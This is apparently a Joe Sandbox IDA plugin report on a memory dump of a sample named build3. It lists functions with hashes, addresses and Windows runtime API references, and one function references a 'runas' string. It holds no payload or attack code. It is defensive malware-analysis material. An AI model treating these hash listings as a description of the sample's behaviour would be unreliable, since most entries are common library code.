Opcode ID: 9728aa77e5f614eb338bc668a2481eb7305fa8967b148498b9799f6fbcd49305
Instruction ID: ba6196724d92f026be3f9376c79b33084e398bf7d03c07d1dae28b9618cf7e8c
Opcode Fuzzy Hash: 9728aa77e5f614eb338bc668a2481eb7305fa8967b148498b9799f6fbcd49305
Instruction Fuzzy Hash: FE21C371600214AFCB10EB68DC85EAEFBACEF48721B144556FE16E3391DB70AD058AB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D49D88 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00D49D8F
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00D49DDB
std::bad_exception::bad_exception.LIBCMT ref: 00D49DF1
std::bad_exception::bad_exception.LIBCMT ref: 00D49E5D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 7ffe3bc7cd8c49985cc44a7f802ab6e3c0c9a2d80c10e5274d28cda691cba997
Instruction ID: 1d31485859edef7c3d1950a0b46238fddf18f707cbb6065788b139326078ac29
Opcode Fuzzy Hash: 7ffe3bc7cd8c49985cc44a7f802ab6e3c0c9a2d80c10e5274d28cda691cba997
Instruction Fuzzy Hash: 06219D71905214DFCB04EFA5D8A29AFF7B5EF05310B24407AF505AB251EB31AE05CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AE53 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D56A07,?,?,?,?,00D5763B,?), ref: 00D5AE58
_free.LIBCMT ref: 00D5AEB5
_free.LIBCMT ref: 00D5AEEB
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00D56A07,?,?,?,?,00D5763B,?), ref: 00D5AEF6

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 297e43d76d1fb65a9978df65863c6a17db025717603ce80b4ef407a3b8f87fa3
Instruction ID: 8521fb23a85432f2c375df0d1a2574d7d3f9aef8d06aea21b6792cd98b3c4fe4
Opcode Fuzzy Hash: 297e43d76d1fb65a9978df65863c6a17db025717603ce80b4ef407a3b8f87fa3
Instruction Fuzzy Hash: AB11A3723007256EDE11267C9CCA93B2699DBD1BB3B380325FE25D62D1EE718C0E5232

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AFAA Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D575D5,00D22307), ref: 00D5AFAF
_free.LIBCMT ref: 00D5B00C
_free.LIBCMT ref: 00D5B042
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00D575D5,00D22307), ref: 00D5B04D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 643e2c24551a1875e6beebc9c47656aef411f1796ceb0ae047682c60add68ec1
Instruction ID: 7834d8d4d59cbd1ff5fae9fe96718014e17965c44b2464482573b36f091d1943
Opcode Fuzzy Hash: 643e2c24551a1875e6beebc9c47656aef411f1796ceb0ae047682c60add68ec1
Instruction Fuzzy Hash: F111CC722047106EDF11267D9C85D3B2699DBC1BB7B740326FE24D62D1EF618C0D6271

Uniqueness

Uniqueness Score: -1.00%

Function 00D3F3DD Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00D3F3FF

Part of subcall function 00D3F5BB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00D45577

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00D3F420

Part of subcall function 00D402A3: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00D402BF

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00D3F43C
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00D3F443

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 69ef060d758d9bad34be98ff4c479d66f06d2402e064eb1494d6236475dd0311
Instruction ID: 884095005662e4b6df4196c56ad0154db29259f160ca7bdb72044526269c4be0
Opcode Fuzzy Hash: 69ef060d758d9bad34be98ff4c479d66f06d2402e064eb1494d6236475dd0311
Instruction Fuzzy Hash: 4701967190030DBFD720BF98CC8695BBBA8DF10354F50893AB99592191D7B0DA1487B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D534B1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D534CB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00D534DF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00D534F7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D5350F

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 453ae94ac2dc850549bd30217a836d4ca5e6afd08b824a8e62f186e0f4098547
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5D01D132700514A7CF26AE599841EEFB7A9DF553A2F040015FD12AB282EA71EE1896F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B69D Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00D5B802,00000000,?,00D61EFB,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00D5B6B3
GetLastError.KERNEL32(?,00D61EFB,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00D5B802,00000000,00000104,?), ref: 00D5B6BD
__dosmaperr.LIBCMT ref: 00D5B6C4

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 5aa94f4785885d73b4279b6c10f7c5a9e9d3f85f884a9d67d85258a626d58d1e
Instruction ID: f812d66e196101cc1758bb5c71f61cfebf4f6137c0d3c5cbdde1d4ee513e80ce
Opcode Fuzzy Hash: 5aa94f4785885d73b4279b6c10f7c5a9e9d3f85f884a9d67d85258a626d58d1e
Instruction Fuzzy Hash: 53F0FB3220021ABBCE202BA2DC0995ABF69FF483B23144512FD1DCA160E731E855DBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B706 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00D5B802,00000000,?,00D61E86,00000000,00000000,00D5B802,?,?,00000000,00000000,00000001), ref: 00D5B71C
GetLastError.KERNEL32(?,00D61E86,00000000,00000000,00D5B802,?,?,00000000,00000000,00000001,00000000,00000000,?,00D5B802,00000000,00000104), ref: 00D5B726
__dosmaperr.LIBCMT ref: 00D5B72D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: ea3eea36274bcd59ad62ff5b01063d618920ce0cdc225124a25b2164ba435d5f
Instruction ID: 389fafe1ff01bc96ae2d008f59d81333b96cfdd90ccb1cce72018380a6220b12
Opcode Fuzzy Hash: ea3eea36274bcd59ad62ff5b01063d618920ce0cdc225124a25b2164ba435d5f
Instruction Fuzzy Hash: 28F0E832200215BBCE201BA2D808956BF69EF883B23144516FD2DC6160E731E95597B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D450F6 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D40057: TlsGetValue.KERNEL32(?,?,00D3F5D7,00D3F404,?,?), ref: 00D4005D

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00D45120

Part of subcall function 00D4E401: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00D4E428
Part of subcall function 00D4E401: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00D4E441
Part of subcall function 00D4E401: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00D4E4B7
Part of subcall function 00D4E401: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00D4E4BF

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00D4512E
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00D45138
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00D45142

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 020d88bfdd4896987a64e8c317fb911dea9790ff562826248c531b8a2ef011d6
Instruction ID: bef45cae6cb3937a05324654c35a1885d21f9496ecb6cc391074035eaec88c33
Opcode Fuzzy Hash: 020d88bfdd4896987a64e8c317fb911dea9790ff562826248c531b8a2ef011d6
Instruction Fuzzy Hash: 22F08B35A006182BCB21B321E802D2DBB65DF91750B040029F901A334BEF30DE14C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D49603 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00D4960C

Part of subcall function 00D3F5BB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00D45577

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00D49630
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00D49643
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00D4964C

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction ID: 2319d324d657b4f66169b5d8ed4630f326496bcc9261c240d3ba687cd80e197a
Opcode Fuzzy Hash: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction Fuzzy Hash: 08F03731200A105FE631AB259422F6B6395DF44755F018819F95B97642CE64E9428B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D66A1F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00D27710,0000000F,00D80008,00000000,00D27710,?,00D6510A,00D27710,00000001,00D27710,00D27710,?,00D5FFE5,00000000,?,00D27710), ref: 00D66A36
GetLastError.KERNEL32(?,00D6510A,00D27710,00000001,00D27710,00D27710,?,00D5FFE5,00000000,?,00D27710,00000000,00D27710,?,00D60539,00D27710), ref: 00D66A42

Part of subcall function 00D66A08: CloseHandle.KERNEL32(FFFFFFFE,00D66A52,?,00D6510A,00D27710,00000001,00D27710,00D27710,?,00D5FFE5,00000000,?,00D27710,00000000,00D27710), ref: 00D66A18

___initconout.LIBCMT ref: 00D66A52

Part of subcall function 00D669CA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D669F9,00D650F7,00D27710,?,00D5FFE5,00000000,?,00D27710,00000000), ref: 00D669DD

WriteConsoleW.KERNEL32(00D27710,0000000F,00D80008,00000000,?,00D6510A,00D27710,00000001,00D27710,00D27710,?,00D5FFE5,00000000,?,00D27710,00000000), ref: 00D66A67

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6487dc31336aeef5f44c7af8453328826ac016e156253e813478e9c01278daa5
Instruction ID: c95dd49331d0bdac99cffc68d50c376ff3d096bdd81627f9d2c190d96ff8f7de
Opcode Fuzzy Hash: 6487dc31336aeef5f44c7af8453328826ac016e156253e813478e9c01278daa5
Instruction Fuzzy Hash: 64F01536440258BBCF222FE5DC08A9A3F66FB493A1F048010FA1CD5220D632CD609BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D3D28E Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00D3D22B,00000064), ref: 00D3D2B1
LeaveCriticalSection.KERNEL32(00D85790,00D866C8,?,00D3D22B,00000064,?,74DF0F00,?,00D265FD,00D866C8), ref: 00D3D2BB
WaitForSingleObjectEx.KERNEL32(00D866C8,00000000,?,00D3D22B,00000064,?,74DF0F00,?,00D265FD,00D866C8), ref: 00D3D2CC
EnterCriticalSection.KERNEL32(00D85790,?,00D3D22B,00000064,?,74DF0F00,?,00D265FD,00D866C8), ref: 00D3D2D3

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: a90c817a7e793a523de02e8d0a355740c26f3de8f133b6e781d510ebabe7b10f
Instruction ID: b498c8d6bc21d38ddac82e458521db60bef960ec8741fd0c336e0b0c7fdb2db4
Opcode Fuzzy Hash: a90c817a7e793a523de02e8d0a355740c26f3de8f133b6e781d510ebabe7b10f
Instruction Fuzzy Hash: 58E01236552724FFCB022B91FC08A9D3F59EB05B51B548051FD0DD63B496A159409BF8

Uniqueness

Uniqueness Score: -1.00%

Function 00D3F0BD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00D3F0C1

Part of subcall function 00D3FA58: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00D3FA79
Part of subcall function 00D3FA58: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00D3FAB0
Part of subcall function 00D3FA58: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00D3FABC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D3F0CD

Part of subcall function 00D3F4FF: Concurrency::critical_section::unlock.LIBCMT ref: 00D3F523

Concurrency::Context::Block.LIBCONCRT ref: 00D3F0D2

Part of subcall function 00D40457: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00D40459

Concurrency::critical_section::lock.LIBCONCRT ref: 00D3F0F2

Part of subcall function 00D3F981: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00D3F99C
Part of subcall function 00D3F981: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00D3F9A7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: f5612389666e7ab5eea597ceda29e9ccdf636c1f111ea7ecd48e1f383f4a5bb2
Instruction ID: ab113ca41f926bba45e88440fda6283bf092fef0ad6476826f1e8c2bc8ddb7a9
Opcode Fuzzy Hash: f5612389666e7ab5eea597ceda29e9ccdf636c1f111ea7ecd48e1f383f4a5bb2
Instruction Fuzzy Hash: F4E04F35900209ABCB04FB20D55566CFB61FF54310F148319E8A9572E2CF346E86CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D59936 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D5993F

Part of subcall function 00D5A7F5: HeapFree.KERNEL32(00000000,00000000,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?), ref: 00D5A80B
Part of subcall function 00D5A7F5: GetLastError.KERNEL32(?,?,00D5F01E,?,00000000,?,?,?,00D5F045,?,00000007,?,?,00D5F447,?,?), ref: 00D5A81D

_free.LIBCMT ref: 00D59952
_free.LIBCMT ref: 00D59963
_free.LIBCMT ref: 00D59974

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d443491fc01db984aae0d963d7e670f59751e350256e3ddec9058a76f1e5ffb0
Instruction ID: 355bccc83b9f8aa80aff1d1a6b8e32b45d04948cc772248c249c824016afb87c
Opcode Fuzzy Hash: d443491fc01db984aae0d963d7e670f59751e350256e3ddec9058a76f1e5ffb0
Instruction Fuzzy Hash: 4BE09275820B219ECA036F18FD8954A3B65EF887253420246F9009A339EB3246569BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00D267C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00D26A89

Strings

runas, xrefs: 00D26313

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: 85a482bf20cd63c86127650e688db2e7899d5724f335ff0fe73bfba22d6a76b9
